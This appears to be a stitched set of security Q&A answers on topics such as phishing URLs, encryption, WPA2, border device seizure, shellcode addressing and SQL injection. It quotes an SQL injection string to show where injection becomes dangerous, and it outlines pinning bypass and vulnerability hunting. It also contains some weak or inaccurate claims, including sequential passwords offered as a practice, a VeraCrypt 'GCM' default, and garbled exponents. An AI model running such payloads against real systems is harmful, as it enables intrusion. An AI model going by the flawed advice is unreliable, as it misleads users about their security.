I'll go with a bit of an unorthodox suggestion. Don't connect storage media directly to the laptop at all. Treat the laptop as completely untrustworthy, and potentially disposable.

Quite simply: pretty much every modern, general-purpose, digital data interconnect can be used to make your life miserable if the device at the other end is untrustworthy. You'd probably have to go back to good old-fashioned serial or parallell ports to get something reasonably trustworthy, and those were slow: a few hundred kilobits per second, tops.

Instead, store the data elsewhere, pushing the data over a network, wirelessly if necessary, and set up the storage target system to only accept incoming data and to be what controls how it is stored.

I don't know what kind of network connectivity you have on that laptop, but even 100 Mbit/s is more than plenty for high-end video. A gigabit Ethernet connection will pretty much saturate a rotational hard disk drive with sequential I/O. Under good conditions and especially over short distances, you can get several hundred megabits per second over a standard 802.11 wireless network connection, if you optimize for throughput; 802.11n and 802.11ac. Especially if money isn't a big issue (which sounds like it's the case in your situation), I wouldn't be surprised if you can get good throughput also over cellular.

Now, on the other end of that link, set up a system that only stores the data. This could in principle be something as simple as a SSH/SFTP server that only allows writing data to a new file (or directory) each time; that wouldn't be terribly complicated to set up.

If you want to, store the video locally as a buffer, and transmit as conditions allow.

This is basically the same situation as when you're trying to safely back up a system where a hacker might gain access. Instead of coming up with elaborate solutions to prevent the hacker from jumping from one system to the other, simply set everything up so that the hacker can't get more access to the data on one system than he already has by being on the other. (In the case of system backups, this would typically be done by having the backup storage host pull the data from the backed-up host rather than having the backed-up host know how to write data on the backup storage host. Your situation is similar, but basically just the other way around.) It's also pretty much how aircraft flight recorders are designed: accepting data from a variety of sensors and storing it, but not allowing the data to be tampered with.


In what ways can the URL be analyzed to decide whether a page is Phishing or not?

Assuming that the phishing link is sent over email, the following set of details can be verified to identify whether or not they are phishing attempt of not. An algorithm which incorporates the following can detect most such instances.

Contradicting hyperlink

If the text of email shows a URL and the content  is hyperlinked to a different URL, it is very likely a phishing attempt. For example this is a phishing link https://google.com

Trust factor of the domain name

Sometimes attackers might try to confuse users by creating subdomains which sound similar to trusted domains. For example > https://facebook.com.secvibe.com An unsuspecting user who is not aware of the concept of subdomains might think that the above link is from facebook.

Similar sounding domain names

Domain names with slight difference in spelling from the actual domain names.For eg: Facebookd.com

Shortened URLs

Shortened URLs need not always point towards trusted sites. People might use goo.gl or bit.ly to send phishing links.


Will encrypting the same file with GnuPG and the same key produce the same ciphertext?

Generally speaking, no, encrypting the same file with the same key will not produce the same file, for three reasons:

The OpenPGP format (which GnuPG implements) uses hybrid encryption: a random, symmetric key is encrypted with the recipient's public key (of type RSA or ElGamal), and that symmetric key is itself used to encrypt the message body with a symmetric encryption algorithm. Hybrid encryption is used because asymmetric encryption are very limited in their range (e.g. a 2048-bit RSA key cannot encrypt more than 245 bytes in one go) and have high overhead (both in CPU and resulting message size). Since the symmetric key is not saved anywhere on the sender's side, a new random key will be created each time, and will be different with overwhelming probability.
Asymmetric encryption itself is randomized. E.g., with RSA, the padding includes random bytes. This is needed "in general", because the public key is public, so everybody knows it; if encryption was deterministic, attackers could run an exhaustive search on the message. This would not be an issue in the specific case of OpenPGP (the message is a random key, large enough to defeat exhaustive search on its own), but standards for RSA or ElGamal have a larger scope and include random padding.
When doing the symmetric encryption itself, a random IV is used, and will be different (with overwhelming probability) for each invocation. See section 5.7 for details.

The third point also applies when doing password-based encryption (encryption is done with a password, not with a recipient's public key). Password-based encryption also adds a fourth randomization, which is the salt in the password-to-key transform.


Is there any way to check the certificates in a client's root CA store?

No, the web server cannot check to see all the CA's the client has installed.

If you have access to the client machine, you can check by viewing the Trusted Root Certification Authorities store.


InfoSec certifications for global startup

That's not how this works. You don't collect certificates.

being certified does not mean that you are secure
customers only care about the certificates they care about

The "best" certification is the one that serves your company's goals the best. If you pursue Cyber Essentials, but your customers want BSI Grundschutz, then you have wasted a lot of time and money. And neither guarantee that you are secure.

Company certificates help you view your company, its processes, people, and technology through different lenses. Choose the lens that will help you secure your company. Your goal is to be secure, not to be certified.

The "best" case? Look through them all and identify which lens highlights gaps that your company should be filling right now (no, you do not fill all gaps all at once at the start). Then use that lens to improve. Then maybe get certified in that scheme, but only if it serves your company's needs.

Here's the approach (for a non-regulated industry - for regulated industries, you swap items 1 and 2):

Get basic competence in your people, processes, and technology for the obvious/common threats
Get compliance with whatever 3rd party stakeholders want (customers, regulators, investors, etc.)
Develop internal compliance to your own standards to ensure consistency
Develop a risk-based approach to target the non-top-line threats to your business
Develop a flexible, adaptive approach to security to be able to quickly address emerging risks

This is the ELITE approach:

Essential
Legal/Legislative (Lender/Ally)
Internal
Targetted
Emergent


If their encryption is indeed secure, it would ensure that anyone who can eavesdrop on your connection between you and their server will not be able to find out what you are doing. This is a very big if because they don't provide any details on their FAQ about what algorithms they are using and how they use them. Their FAQ only mentions "our proprietary technology" which is a yellow flag. A good cryptosystem isn't afraid of publishing their algorithms. When they try to hide it, it might be a sign that they are rolling their own crypto and then rely on security through obscurity because they don't trust it themselves.

However, there are a few other attack vectors.

Can you trust them? When you are visiting a website which uses http and not https, the connection between DynaWeb and the target website is unencrypted. That means DynaWeb is theoretically able to monitor your whole internet activity.

Even when the website uses https, DynaWeb still knows which webservers you connect to. They don't know the exact URLs and what you do there, though.

Someone could eavesdrop on DynaWeb's outbound connection. They might not be able to tell from which customer each connection originates, but when the data is unencrypted (http), they might be able to tell from the content of the transmission.

When an attacker can eavesdrop to both Dynaweb's outbound connection and your connection, the can perform a traffic correlation attack to find out what you are doing. Encryption can hide what your communication is about, but it can't hide when you communicate and how much.

546 encrypted bytes going from you to Dynaweb
12ms later 546 encrypted bytes going from DynaWeb to https://extremelyillegalwebsite.example
145ms later 1152983 encrypted bytes comming back from https://extremelyillegalwebsite.example  to Dynaweb
13 ms later 1152983 encrypted bytes going from DynaWeb to you

What could you possible be doing?


No, this would not change the hash of the site's certificate.

The thumbprint is part of the X.509 container that is essentially an immutable transaction log entry that you get to keep with you.  It was signed by the CA when you submitted the certificate signing request (The intermediate it looks like.)

Adding another Certificate Authority to local machines cert stores would have no effect on that hash.


How can a company reduce exposure to packet spoofing? What solution should exist, but doesn't?

In the general case, it can be very difficult to differentiate packets with spoofed addresses. Most systems (servers or network devices) will only have a single NIC, so all traffic will come in on the same port.  Static MAC entries can help mitigate collateral damage, but very quickly becomes a management nightmare. One of the few places you can detect and filter spoofed traffic is at a router.

Your network border is, without question, the easiest place to do this filtering. Here you should have a very good idea what direction IP addresses should flow. I would first block all Bogon addresses.  If you are using BGP, Team Cymru has a good write up on the Bogon Route Server Project.  Also include an ACL for blocking your own address space outside coming in, ASA example (replacing X.X.X.X with your allocation, and Y.Y.Y.Y with your netmask):

access-list outside_access_in extended deny ip X.X.X.X Y.Y.Y.Y any

At the host level institute tightly confined firewall rules. Here you should tightly define audience and service, followed by a default deny.


Web browsers already try to isolate tabs from each other. Chrome pioneered the principle of "one process per tab" and other browsers followed. This kind of isolation was meant for reliability more than security: when one tab crashes, e.g. because of a bug in a plugin, prevent the whole browser process from dying as well.

Using VM techniques, be they Unix-level jails or even full-blown hypervisors, can help in the case of a tab being subverted: through some security hole, an attacker manages to run his own malicious code in your browser. The VM will then try to contain that attack. Note that the problem has far-reaching consequences: for instance, a Web browser must be able to read local files, in order to support Web sites which ask for upload of a local file. When complete isolation is enforced, functionality is decreased.

If you want complete isolation, see Qubes OS: this is a Linux-based operating system which launches small VM for individual applications (or group of applications) and would allow you to run several browser instances which cannot see each other.

The problem, though, is that you usually don't want complete isolation, and hostile full-process hijacking is rare. Browsers already apply some sort of isolation which does not use hypervisors, but is (usually) effective. Security issues don't come from the breaking out of a tab process, but from the communication channels which are maintained between tabs by the browser in order to implement required functionality. The Same-Origin Policy is an important concept which is part of the issue: the SOP incarnates the security model which the browser enforces, and most security issues with Web browsers are due to the fuzziness with which the SOP boundaries are defined.

To make an analogy, consider a brick wall with a door in it. Using hypervisor technology would be akin to reinforcing the wall and the door frame with steel. This is not bad, but won't help very much if the real problem is that the door is not locked. When trying to enforce isolation between browsing instances, the really hard thing is to define precisely what may be shared and what should not; hypervisors operate at a lower level and are just tools to enforce a policy, but the policy must first be defined.


Attack vector, attack surface, vulnerability, exploit: Where is the difference?

All 4 terms are very different:

Describes the Attack:

Attack Vector: the 'route' by which an attack was carried out. SQLi is typically carried out using a browser client to the web application. The web application is the attack vector (possibly also the Internet, the client application, etc.; it depends on your focus).
Exploit: the method of taking advantage of a vulnerability. The code used to send SQL commands to a web application in order to take advantage of the unsanitized user inputs is an 'exploit'.

Describes the Target:

Attack Surface: describes how exposed one is to attacks. Without a firewall to limit how many ports are blocked, then your 'attack surface' is all the ports. Blocking all ports but port 80 reduces your 'attack surface' to a single port.
Vulnerability: a weakness that exposes risk. Unsantitized user inputs can pose a 'vulnerability' by a SQLi method.

We can also look at this from the perspective of a user as the target. An attacker sends an infected PDF as an email attachment to a user. The user opens the PDF, gets infected, and malware is installed. The 'attack vector' was email, the 'exploit' was the code in the PDF, the 'vulnerability' is the weakness in the PDF viewer that allowed for code execution, the 'attack surface' is the user and email system.


Prevention measures against laptop seizure at US borders

The ANSSI, French government service in charge of IT security, has published a document providing brief advice to people having to travel abroad.

Relevant here are the advisories concerning preparation before travel:

Review the applicable company policy,
Review destination country applicable laws,
Prefer to use devices dedicated to travel (computers, smartphones, external storage etc.) and not containing any data not strictly needed for the mission,
Backup all of your data before leaving and keep the backup in a safe place,
Avoid taking any sensitive data at all, prefer to use a VPN (or a specially set up secured mailbox where all data will be deleted after retrieval) to retrieve the data securely (this is one of the most on-topic pieces of advice, since this one prevents any sensitive data from being present on the computer when crossing the border),
Use a screen filter to avoid shoulder surfing during travel,
Apply a distinctive sign on the computer and accessories (like a sticker, do not forget to put one on the computer bag) to facilitate tracking and avoid any accidental exchange.

The linked document then goes on with other advice concerning the rest of the trip but this is less relevant regarding the current topic. Sorry to provide French documents as a source, but the ANSSI is an authoritative source in France and I felt it could be a worthy addition to this discussion since these advisories seem to properly address the question.

Edit:

As some comments and the very useful answer from Spehro Pefhany below pointed out, there are two other things which should be noted:

If your computer is seized, if you are requested ciphering keys and password, do not put up any resistance since it may lead you into legal trouble (I suppose you are traveling with some sort of mission, it would be too bad for the mission to be canceled because you were not in measure to attend the meeting or respect some contractual engagements. Customs may have plenty of time, you may not.) However, immediately inform your company IT staff and managers so due actions can be taken (revoking corresponding accesses, passwords, certificates, etc.) and discuss the issue with them to determine the way to proceed since the seized then returned devices may not be trustable anymore (impact and mitigation directly depends on the nature of the mission).
Customs are a two way passage. When preparing your luggage for the return travel, ensure that you have properly cleaned up you devices (again, not only the laptop: all devices including cellphones, external storage, etc.): send your data to your company (in a ciphered form, again either using a VPN or a secured one-time email account) then wipe the files using appropriate software, delete browser's history/cache/cookies, delete OS temporary files, delete call, messages and voicemail history, delete information about used networks (Wifi accesses, proxies, etc.).

And while I'm at it, good advice for the traveler:

Be careful when you are offered any external media like a USB key or a CD. Be careful too when exchanging documents with other people using writeable external media (as a reminder, the write protection on SD-cards is software only and therefore cannot be trusted),
Do not plug your cellphone into the free public USB chargers, which are becoming more and more frequent in places like airports,
No matter if your devices have been seized or not, do not plug them back on your company network unless they got at the very least a thorough check.
At your return change all passwords which were used during your travel.


If Charles proxy is able to intercept SSL/TLS traffic,  then certificate validation has failed.  This demonstrates that the mobile device is not properly verifying the server's certificate.

In a mobile security assessment, certificate pinning can be disabled by hooking the platform's SSL/TLS implementation and changing how certificate validation works.  An example of this attack is the Android SSL bypass or iOS SSL killswitch.


Should security question answers be case-sensitive?

"Security question answers" are akin to auxiliary passwords, which users will not use on a daily basis. Remembering a password that you almost never type is hard. Requiring exact case is likely to make the user fail to answer properly.

On a theoretical point of view, a "security question" is already a huge weakness, which you tolerate because some users will forget their password, and you want to handle that case with as much automation as possible, and not asking any security question would be even worse security-wise. Hence, the added value of security questions is that they allow a not-totally-open password reset process which can nonetheless be conducted automatically, i.e. at minimal cost for the server. Case sensitivity would probably remove much of that value. Actually, I would even recommend normalization by suppressing whitespace, punctuation and accents.


I only use windows for games. Do I need anti virus protection?

When you are going to play games you downloaded from the internet, you should definitely get a virus scanner. This is especially a concern when you download pirated copies, because these are bundled with malware from time to time. But even when you stick to legal downloads there is a certain risk involved. There were cases of renowned download portals getting compromised and spreading malware attached to their files.

Note that downloading the games under Linux will not protect you. When you download a Windows-executable infested with Windows-malware, Linux will not care. When you then execute the file you downloaded with Linux on Windows, your Windows system will get infected.

Maybe you think "What do I care? I don't have any important files on my Windows partition, so when I catch a virus, I will just reinstall". Keep in mind that your Linux volumes aren't safe from malware. Just because Windows can't read their filesystem doesn't mean ransomware can't delete them with direct hardware access.


What standards are there for mangaging high value passwords?

For maintaining Application passwords , I had come across an open source tool called CorporateVault . It is a multi-user password management web application designed for organizations to store passwords. Written in Grails, Groovy and Java.

It is a good tool to use for managing passwords


Difference between local and central anti-spam

Many mail programs like for example Thunderbird have a built-in spam filter. The main difference from this to most central spam filters is that it gets trained by the user and thus is adjusted to what the users typically receives as spam and ham and what the users considers spam in the first place - e.g. some like news letters, others hate these.


How to obfuscate a relation between two tables in a database?

We need to be able to query on the patient's name, surname and birth date. On the other hand, in the case where someone would gain unauthorized access to the data, we need to prevent that person from matching identities (name, surname and birth date) with medical information.

Hashing in the current form is not a secure way of meeting this requirement. As you already mentioned, you can simply create those hashes for all patient and are done.

You do mention keyed hashing and encryption, yet I am unsure as to how that would increase security as the key would have to be somewhere and as long as that's not an HSM, database access probably comes with access to that key as well.

The secure way of solving the requirement would be to not store the patient data at all; there doesn't seem to be a requirement to list all patients or parts or filter patients by date of birth. If you choose the hash to be over FirstName|LastName|DateOfBirth, you can easily query for that data and receive all records for that patient without needing to persist that data.

If you must (I'm sure you must, albeit not in direct relation with the medical data) keep the patient data, keep it separate, i.e. in a physically different database.


What does the PCI-DSS statement "Store separately from the data encrypting key" mean?

There's two ways to do this:

Simple storage-only approach

The first method is to use one device for encrypting the data, and another device for storing it. So data gets encrypted on some application server, but gets stored on a database server. The place where the data is stored does not posses any of the keys, it's just storage.

More complex but more secure approach

The second method is to use a public/private keypair. A unique, random session key is generated for every piece you want to encrypt. You encrypt the sensitive data with the session key, and the session key with your public key, and then discard your session key.

You can then store the encrypted block on the same server as the public key that was used to encrypt it, since the public key is useless for decryption.

To decrypt your data, you use the private key to decrypt your session key, and use the session key to use decrypt the sensitive data.

This is how tools like PGP/GPG work, so you don't need to (and shouldn't) implement it yourself, you can just use one of these stock utilities.


If WPA2-PSK is insecure, what other options do home users have?

There are two (main) modes in which to run WPA2. You can use enterprise mode or pre-shared key (PSK) mode.

If you run in enterprise mode you need to set up an authenticating RADIUS server, and configure certificates on the clients that will connect to the access point. Furthermore you need to configure the AP will all the relevant information. This level of effort is well beyond the abilities of a typical user.

WPA2-PSK mode uses a pre-shared key that both the client and AP know. This is the password, and simply using a password is within the technical abilities of most users. The password is never actually exchanged when a client connects to an AP. Instead there a is a four way handshake that occurs. Through this process the client can prove to the AP that it knows the PSK.

WPA2-PSK is not really insecure. Instead I would say it's vulnerable to a brute force attack. If an attacker can capture a 4 way handshake (a trivial task) they can run that handshake through a dictionary in order to derive the PSK. This is the key part. Just like with normal password hashes long, complex passwords are they key to making the brute force attack un feasible.

As a final note: WPA2-PSK networks are "salted" with the name of the AP. Rainbow tables exist with precomputed hashes for the most common AP names that exist (think "hilton-hhonors", "starbucks" etc). A way to get a unique salt (and thus defeat the rainbow table) is to have a unique AP name.

Edit: If you're curious about what a "good" password length then is if you have to use PSK? According to IEEE 802.11i (the amendment that details WPA2)

  A pass-phrase typically has about 2.5 bits of security per character, so the pass-phrase mapping converts an
  n octet password into a key with about 2.5n + 12 bits of security. Hence, it provides a relatively low level of
  security, with keys generated from short passwords subject to dictionary attack. Use of the key hash is recommended
  only where it is impractical to make use of a stronger form of user authentication. A key generated
  from a pass-phrase of less than about 20 characters is unlikely to deter attacks*.

*Emphasis mine. However keep in mind 802.11i was published in 2004. Computing power has since changed. I would still agree though that 20 characters is pretty good.


Automated software hackers use to try passwords

To start off, you seem to have 2 questions, a list of common sites, and if you should be worried.

To the first one, that's a hard one, there are millions of websites around the world, and a couple of thousands are considered to be "used a lot", so getting a list of the most hit sites is hard, and even if you find one, it's a huge one.

I'd suggest changing the passwords of every site you use. The BEST thing to do is to have different and strong passwords for every site (I am lazy and have passwords like P@s$w0rd100, P@s$w0rd101, etc.), so maybe that's an idea.

To the second question: yes and no, this really depends on what kind of information was present, and what the hackers obtained. If they obtained credit card information, it's best to go to the bank NOW and block them, get a new one, etc.

Any address information wouldn't matter, since they would have addresses and names of thousands of people, why would they even need your address?

And if you're an US citizen, I think it's possible they have your SSN and Name combination too. I'd suggest keeping a CLOSE EYE on any malicious activity on there, in fact, always keep a close eye on anything related to your money, SSN, etc.


How can I easily determine if a website security company is reputable?

Even reputable companies sometimes give useless or counter-productive feedback; many times it comes down to the experience of the actual representative you talk to. Just search this site for questions dealing with PCI-compliance audits to get an idea of how perfectly backwards some well-established firms can be.

But in the end, what you really need isn't an audit, it's training. An audit is just a snapshot, and it's value disappears almost immediately. But if you can get a firm to act not as an auditor but as a consultant, training you in the proper way to secure your business, then you'll have something of lasting value.

Also, consultants are much easier for you to rate. If you're not learning anything useful from your consultant, then clearly he isn't very good. Try out a few and decide whose style you like, and compare their advice with what you see on this site. It should be pretty straight-forward if you put a little time in to it.


Getting rid of trojans on Windows XP - the basic toolkit

In my view you cannot completely clean up virus from Win XP without re install.

If you are not interested in that, I suggest you to install a good antivirus and initiate a boot-time scan.It will surely reduce the threat up to a limit.

Best Antivirus Software Ratings


How do I find vulnerabilities in software?

There is no one way to find vulnerabilities.  But here are some steps you can follow.

Target

First you need to choose a platform and a piece of software to attack.  To begin I would choose something that is open source.  There are several advantages to this; the main one being that you can look at the source code.  You then need to pick an aspect that you would like to attack.  For example, maybe you want to attack the UDP implementation of the Linux networking stack.

Performing an analysis on a closed source piece of software means you're disassembling the binary, rooting through instructions, and debugging the process.  This is long and tedious.  Better to get a grasp as to what breaks code with source code before you go looking for it in disassembly.

By being specific in your target allows you to systematically analyze a piece of software.

Analyze

With your target in mind begin your analysis of the portion of the software you want to find vulnerabilities.

Determine which source code files affect your target.
With open source you can insert debug messages to ensure you understand the code flow.  This can be extremely important.  Knowing what sections of code are called, and the variables that lead to that outcome is key in understanding what is going on.
Run code analysis tools over the project.  Depending on the project this might be a moot point, but they can be handy and catch common programming errors.
Enable all of the compiler build flags.  Your goal is to find programming errors.  What better way than to have the compiler tell you where it thinks the code is bad.

These are just a few of the things you can do to analyze the software.  Build a list of possible coding errors.

Triggering

Now with a list of possible coding flaws you need to determine if you can trigger them.  Again, debug messages will help you.  Go back to the source code and determine what exactly needs to happen for each coding flaw to break the software.  You're not looking for full exploitation, you just want the code to crash, or do something unexpected.  You need to determine what could trigger a coding flaw.  This could be anything from affecting a length variable, tricking a function to take a path to process data incorrectly, etc.  Some coding flaws just aren't triggerable, but that's the nature of vulnerability analysis.

At this point you have a list of flaws, and a list of ideas for each flaw on what might trigger it to do something unexpected.

Fuzzing

Now you write code.  Using pretty much whatever programming language is convenient for the software you're attacking.  You could write Python code to throw specific packets at network devices to attempt to take down the UDP implementation of a Linux based device.

The goal is to implement your triggers, and hope that the code works the way you think.  Your debug messages will be helpful here.

They can tell you if the code path taken is abnormal.
They can show you variables that you're attempting to manipulate
They ensure that your trigger is doing what you expect, and you can adjust it accordingly.

With any luck you're able to cause something different to happen.  Maybe that can lead to code execution, maybe not.  That's a horse of a different color.

Reality

Vulnerability analysis takes time.  A lot of time.  You're not going to spend a day analyzing software and find 10 vulnerabilities.  The unofficial average for vulnerability analysis is 1 vulnerability per 3 months of analysis.  You can double that time if you're analyzing a non-open source project.


Use multiple computers for faster brute force

Sure it's possible, but it doesn't really help. The number of possibilities is just too large.

Consider that a 256-bit key has 2256 possible values. That's 12✕1076, or 12 followed by 76 zeroes. If we generously assume that a computer can test a trillion (that's 1012) possible keys a second, and that we have a trillion computers (where will we get them from?) performing the key search, it will take 12✕1076/(1012✕1012) seconds to search the entire keyspace. That's 12✕1052 seconds. As there are only 3,155,760,000 seconds in a century, it will take approximately 4✕1043 centuries to try all possible keys. There's a 50-50 chance that you'll find the key in only half that time.

That's the way encryption is designed. The number of possibilities are just too large to be cracked in time that is interesting for humans.


I answer my own question thanks to @SilverlightFox.

MySQL has two modes it can operate: STRICT_TRANS_TABLES and STRICT_ALL_TABLES
and quoting MySQL doc:

  Strict mode controls how MySQL handles invalid or missing values in data-change statements such as INSERT or UPDATE. A value can be invalid for several reasons. For example, it might have the wrong data type for the column, or it might be out of range. A value is missing when a new row to be inserted does not contain a value for a non-NULL column that has no explicit DEFAULT clause in its definition. (For a NULL column, NULL is inserted if the value is missing.)

If the two modes are disable, MySQL automatically truncates inserted string in the case they exceed the column length. So the behaviour of MySQL is "legitimate" and the reason why I should check the length of input in the web application is because I should not rely on the fact that MySQL has STRICT_TRANS_TABLES and STRICT_ALL_TABLES enabled.


A session is data stored on the server corresponding to some client. To know which data to access, the client gets a cookie with a session identifier. The value of this identifier is not meaningful, it is just a token to obtain the correct data. For example, if your session identifier is abcd1234, the server will look in /var/sessions/abcd1234.txt for the session data.

The session identifier you mention is likely randomly generated and not derived from the username, password, or salt.


Any decent static analysis scanner would not flag up a vulnerability if you were storing raw HTML in your database - after all, it's only a string.

String sequences only become dangerous when passed through a "sink function".

For example, <script> is completely safe to store in your database. In fact so is
Robert'); DROP TABLE Students;--.

The latter is only dangerous when it is passed from a string variable and concatenated to a hard coded query in the application because the whole string is passed to the database server and it does not know the difference between the query and the data. This is why you should use parameterised queries to pass data to your database - then the DB itself knows what to interpret as strongly typed data, and what to interpret as the query construct itself.

When outputting to the browser, this is where you need to encode as appropriate. Usually you will be outputting to HTML, so you need to HTML encode (& becomes &amp; as you say). If you're outputting to JSON or JavaScript (don't though it's a minefield) then you should output the text with hex entity encoding instead (\x38).


Using a transaction as mitigation against SQL injection

Sql Server has a log of all transactions so at least you could possibly have a record of what was run (unless the attacker also erased the transaction log). You may get an error message somewhere and as long as that log isn't erased you'll have that as well. Then again, you may have Sql Server set to implicit transactions so each statement gets its own transaction and gets logged anyway.

As far as cons, I don't think that this really accomplishes anything so your issue isn't fixed. More work and obfuscating, hiding, or creating the illusion of fixing a security issue is a pretty big con. Rolling back the transaction only matters until the attacker figures out that they just have to add COMMIT TRANSACTION to the end of their injection. At least when I tried it using the most obvious approach, I got an error when it hit ROLLBACK TRANSACTION so then it will jump to whatever error handling you have and who knows what it might skip if this was just one part of a process. A better crafted injection wouldn't generate an error, though.

Overall, I'm glad that this is just academic interest because I don't think you gain anything. You don't lose terribly much either but why go through the effort if you're not fixing the issue?


How to check if the HTTPS connection is using perfect forward secrecy?

Short answer: if you see the string "ECDHE" or "DHE" in the "Technical Details" section, the connection is using forward secrecy.

Long answer: the "Technical Details" section in your second screenshot displays what's called the "cipher suite".  In your screenshot, the cipher suite is TLS_ECDHE_RSA_WITH_RC4_128_SHA.  This can be broken down as follows:

Transport protocol: TLS (Transport Layer Security)
Key exchange: ECDHE (Elliptic Curve Diffie-Hellman with Ephemeral key).  This is the cryptographic primitive used during the TLS handshake to establish the keys used for the rest of the connection.  Any key exchange that uses ephemeral keys provides forward secrecy.
Certificate signature algorithm: RSA.  This is the cryptographic primitive used to verify the server's identity.
Cipher: RC4_128 (RC4 with a 128-bit key).  This is the cryptographic primitive used to encrypt the data.
Hash algorithm: SHA (SHA-1 to be precise).  This is the cryptographic primitive used to ensure the connection is not tampered with.


Why would a site demand passwords to consist of digits only?

They are most likely considering all forms of user input (and need the password to work via other modes such as at an ATM or via phone touch-tone) and therefore limit it to just numbers.  Of course the only way to be sure is to have them answer this question, but the scenario is not uncommon with banks that have consolidated remote banking functions onto one platform.

Edit: I remember a question very similar to this on SE (I think it was here in security) but searching isn't finding what I am looking for... Anyone else recall?


Suspicious Push Notification on Android Phone

I think this answer may be relevant: Find out which app is pushing ads in my notification bar?.

You need to determine where this notification is coming from.  One of the answers states:

  Beginning with 4.1 Jelly Bean, you can long-press the notification
  itself. This will bring up a menu with a single item, "App Info".
  Touch this item and you will go straight to the offending app's
  management page, where you're just a touch away from "Force stop" and
  "Uninstall".

So the solution may be, long press the notification to determine its source.  Then uninstall the offending application.  If you are unable to remove the application, it may be built-in subsidized ad-ware as the other answer suggests.


How to resolve the Format String Error alert in OWASP ZAP for a web application (ASP.NET C#)?

It could be a False Positive. You can mark the alert as such, just double click it and set Confidence to False Positive.

If you're seeing it a lot you could go into the Scan Policy and disable that one scan rule.

You could also grab the Alert Filters addon and use it to tweak things.

Lastly ZAP is Open Source so you could always check the source of the scan rule (link below) and see if there's a way to address the false positive or at least you could understand why it's coming up.

https://github.com/zaproxy/zap-extensions/blob/master/addOns/ascanrules/src/main/java/org/zaproxy/zap/extension/ascanrules/FormatString.java


Can I detect a firmware toolkit like NightSkies on my iPhone?

The only real way to compare if a firmware image has been modified is to be able to take the firmware from the device, take a hash of it, and compare it to the hash of a known good copy.

The image taken from the device must be obtained in such a way that any malware on the device can't tamper with the image being exported (i.e. obtain the image before the system boots).  I'm not too familiar with iPhone forensic tools, so I couldn't tell you the cost to do something like this.

Do you have reason to believe you would be targeted by the CIA?  The reason I ask is because the more often tools like NightSkies are deployed, the sooner they will be detected, and will lose their value.  Intelligence agencies choose their targets carefully for this reason.  What was most likely occurring was interdiction; essentially, grabbing the device out of the mail before it went to the user, installing the malware, and then putting it back in the mail.  To summarize, if you or the organization you work for are not a target, you shouldn't worry about it too much.


IPSEC is not focusing data safety without sub-protocols. You can review ESP, AH, IKE sub-protocols for a better comparison with SSL/TLS.

Yes they have both same goal but with tunnel you will have some management capabilities which are listed below.

they can access your server with a private ip space (so they will not
whitelist your application domain address on http proxies of their
outgoing traffic gateway or will be easier for DLP configurations
etc.).
They can ask a web server which is not accessible over WAN (for safety purposes).
SSL/TLS is an third party dependency, the certificate vendor so this is a additional liability. You can build up a tunnel without any additional party dependency.
Network administrators can write custom routing with that tunnel, otherwise they have to route this traffic to the WAN.
They can write additional QoS rules easier if they try to manage all traffic between two network. Without tunnel they will apply this rule to all outgoing traffic which will use more resource then this solution.
They can validate status of your network and web server, they will be able to identify problem directly.
They can accept traffic (from you to them) over that tunnel.
...

So as last word, tunnel will you give more control for your network operations.


Veracrypt options to protect against multiple versions of an encrypted volume

Making snapshots of encrypted disks non-diff based is problematic as the view on the encrypted data is just "one big ball of garbage", e.g. there isn't even a valid file system.

How much actually changes depends on the mode of operation the bloch cipher in question is used in.

If (which is the default, AFAIK) you are using the GCM, the actual changes to the data are kept to a reasonable minimum, but diff'ing huge binary is not ideal either.

Hence, you may want to rethink that. Maybe making snapshots of the decrypted file system on another encrypted disk is an option, depending on your situation / what you actually want to achieve.

Please also note that modern ciphers are not vulnerable to Ciphertext only attacks, which is basically what you have in mind regarding the security of your planned system.


What really is the difference between firmware TPM and a discreet one and should it be trusted more?

It is very hard to quantify security and justify trust. Before you read on: think about what you want to protect against whom. Make a risk analysis.
I have heard mainly two justifications why physical TPMs are more secure.
1) Separation/Isolation
Generally, the better two systems are isolated, the harder it is to spread compromisation.
For example, you can hardly attack network #2 from network #1 if they are not physically connected. If they were connected via a firewall, it might be possible, but still hard. The least secure option would be no separation at all.
The same applies to the isolation of the host machine and its TPM. A user-space TPM simulator would hardly be isolated at all and the least secure option. A fTPM is isolated much better, but it's still running on the same chip. A hardware TPM is much more isolated and therefore presumably better protected against software attacks from host malware.
Of course there is a whole variety of hardware attacks which is not affected by this isolation. Again, think about your assets and risks.
2) Certification
Physical TPMs are usually certified. That alone is not a guarantee for security. However, it ensures that certain requirements are met verifiably. Therefore it is evidence at least some level of security.
In particular, the Common Criteria Evaluation takes hardware security against e.g. timing, glitching and side-channel attacks into account. Currently, there are only physical TPMs which are Common Criteria evaluated (see here under Trusted Computing).


You can add custom attributes to certificates, assuming you are using x509v3.

This SO post provides the basics, which is that you need to use a config file, and create an actual attribute.

Your example is adding a field to the DN, which is a different thing.


Hard-wired vs relative addresses in shellcode

There's two types of issues that I think you might be conflating.  One is the address of functions called by your shellcode that are provided by the vulnerable application or by libraries loaded, and the other is absolute versus relative jumps within your shellcode.

Library Calls

Let's assume, for a second, that you're attempting a return-to-libc style exploit on a simple binary.  So you want the address of system for a lot of such exploits.  Let's build a small binary that prints the address of system.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
  printf("system @%p\n", system);
  return 0;
}

Compile and run this a few times:

% gcc -o getsystem getsystem.c
% ./getsystem
system @0x7fdc54419d40
% ./getsystem
system @0x7fbc15b61d40
% ./getsystem
system @0x7fbeacfb6d40

Notice that each time it is run, the address of system has changed.  This is due to a modern security mitigation called ASLR: the C library is loaded at a different base address, so system will be loaded at a different address.  Consequently, your shellcode needs to first locate libc, then call system at an address relative to the start of the library.  (Called the "base address".)

Jumps

In more complex shellcode, you may need to make a jmp or call within the payload itself.  In such cases, you must have relative jumps and calls, because you do not know the exact address where your shellcode will be loaded.  Instead of saying "jump to 0x0804abcd", you should have "jump 5 bytes forward".  This is what is meant by "Position-Independent Code": it can operate when loaded at any position, and not just at some fixed starting address.

Because shellcode is usually loaded on the stack or heap, both of which are subject to various manipulations (ASLR, other data using the stack/heap, threading, etc.), it's impossible to predict an absolute address where your shellcode will land.


Solution for Enterprise SW Eng. with Github and NPM

The answer is that a lot of organisations and enterprises make use of public repositories (e.g. npm, rubygems, NuGet) but I don't think there are a lot of well defined solutions for the risk that the use of unaudited 3rd party code introduces.

A couple of options to reduce the risk might be

Internal mirrors.  Your organisation hosts it's own repository and carefully selects what packages and versions are available on it.
Security Review Key libraries.  If you rely on key open source libraries you could have your organisation review their security either internally or have it done by a third party consultancy

There's some more details on some of the risks and potential solutions here in a talk I did for OWASP AppSecEU


